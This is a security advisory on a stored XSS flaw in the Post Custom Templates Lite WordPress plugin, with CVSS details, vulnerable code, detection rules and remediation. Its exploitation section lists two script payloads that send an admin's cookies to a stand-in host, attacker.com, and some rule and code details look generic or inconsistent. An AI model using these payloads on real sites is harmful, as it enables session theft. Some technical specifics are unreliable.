CVE-2025-31767

Executive Summary

CVE-2025-31767 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Post Custom Templates Lite WordPress plugin by OTWthemes, affecting versions up to and including 1.14. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor. Given the widespread use of WordPress, this poses a significant risk to sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem issue, it impacts the supply chain of site administrators who rely on this plugin for custom post templates. The lack of a patch means that site owners must either implement a virtual patch via a Web Application Firewall (WAF) or remove the plugin entirely to mitigate risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: Required (Admin must view the compromised page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to privilege escalation if an admin views the malicious content.

Deep Dive & Mechanics

The vulnerability resides in the Post Custom Templates Lite plugin's handling of user-supplied input when creating or editing custom post templates. The plugin fails to properly sanitize and escape input before storing it in the database and later rendering it in the WordPress admin panel or frontend. An attacker with contributor-level access can inject arbitrary JavaScript into template fields (e.g., template name, description, or custom CSS/JS fields). When an administrator views the list of templates or the template editor, the injected script executes in the context of the admin's session.

Root Cause: The plugin uses echo or _e() functions without wrapping the output in esc_html() or wp_kses_post(), allowing raw HTML/JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in as a contributor.
2. Attacker creates a new custom template and injects a malicious payload (e.g., <script>alert('XSS')</script>) into a template field.
3. The payload is stored in the WordPress database.
4. An administrator navigates to the template management page.
5. The stored payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to a malicious site.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is shown below. A patched version would use proper escaping functions.

Vulnerable Code (post-custom-templates-lite/admin/class-post-custom-templates-lite-admin.php):

// Vulnerable: Direct output without escaping
echo '<div class="template-name">' . $template_name . '</div>';

Patched Code (Hypothetical):

// Patched: Escaped output
echo '<div class="template-name">' . esc_html( $template_name ) . '</div>';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Post Custom Templates Lite <= 1.14 installed and activated.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Templates > Add New.
3. In the Template Name field, inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the template.
5. Wait for an administrator to view the template list or edit the template.
6. The admin's cookies are exfiltrated to the attacker's server.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual template creation or modification by low-privileged users.
• Look for suspicious strings in template fields (e.g., <script>, onload=, javascript:).

Hardening:

• Implement a Web Application Firewall (WAF) rule to block XSS payloads in template fields.
• Restrict contributor-level access to trusted users only.
• Use a security plugin like Wordfence to add an additional layer of input sanitization.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/post-custom-templates-lite/admin/class-post-custom-templates-lite-admin.php (unmodified, but vulnerable)
• Database Entry: Rows in wp_postmeta or custom tables containing <script> tags in template fields.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Logs: Unusual template creation events in WordPress audit logs (if enabled).

Detection Engineering

YARA Rule

rule CVE_2025_31767_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Post Custom Templates Lite plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31767"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $template_field = /template_name|template_description/i
    condition:
        $xss_payload and $template_field
}

Sigma Rule

title: Stored XSS via Post Custom Templates Lite
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of custom templates with XSS payloads
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Custom event for template creation
        Object: "post-custom-templates-lite"
        Details|contains: 
            - "<script>"
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31767 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_template"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a virtual patch using a WAF to block XSS payloads in template fields.
3. Review and clean any existing templates for malicious content.

Long-Term Fix:

• Monitor the OTWthemes website or WordPress plugin repository for an official update.
• If no patch is forthcoming, consider replacing the plugin with an alternative that is actively maintained.

Workaround:

• Use a security plugin (e.g., Wordfence, Sucuri) to add input sanitization rules for the plugin's fields.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst